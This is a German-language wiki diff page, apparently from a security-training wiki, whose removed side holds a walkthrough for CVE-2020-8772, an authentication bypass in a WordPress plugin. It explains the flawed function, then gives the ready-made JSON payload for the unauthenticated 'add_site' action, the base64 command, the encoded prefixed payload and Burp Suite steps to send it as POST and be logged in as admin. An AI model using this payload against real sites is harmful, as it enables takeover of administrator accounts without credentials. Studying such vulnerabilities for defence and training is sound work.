|
|
| (15 dazwischenliegende Versionen von 2 Benutzern werden nicht angezeigt) |
| Zeile 1: |
Zeile 1: |
| =CVE=
| | *[[Was ist ein Authentication Bypass?]] |
| *CVE-2020-8772
| | *[[Authentication Bypass Wordpress]] |
| =Vorbermerkung=
| |
| *Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
| |
| *Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
| |
| *Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird
| |
| *Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt
| |
| *(in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.)
| |
| *Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
| |
| *DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.
| |
| | |
| | |
| =Request=
| |
| *Reload the target website and intercept the request using Burp Suite. | |
| [[Datei:Authentication-Bypass-Wordpress.png|900px]] | |
| | |
| =Payload=
| |
| *Create the JSON payload and convert it to base64.
| |
| | |
| Payload: {“iwp_action”:”add_site”,”params”:{“username”:”admin”}}
| |
| | |
| *echo ‘{“iwp_action”:”add_site”,”params”:{“username”:”admin”}}’ | base64 -w0
| |
| [[Datei:Authentication-Bypass-Wordpress1.png|900px]]
| |
| *Append the base64 generated payload with the String mentioned in the exploit URL. | |
| | |
| Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
| |
| | |
| *Right-click on Burp suite, and click on the “Change request method” to convert the request from GET to POST.
| |
| | |
| *Place the payload created as POST request arguments.
| |
| [[Datei:Authentication-Bypass-Wordpress2.png|900px]] | |
| *Click on Forward and turn of the intercept.
| |
| | |
| | |
| | |
| | |
| | |
| | |
| [https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass]
| |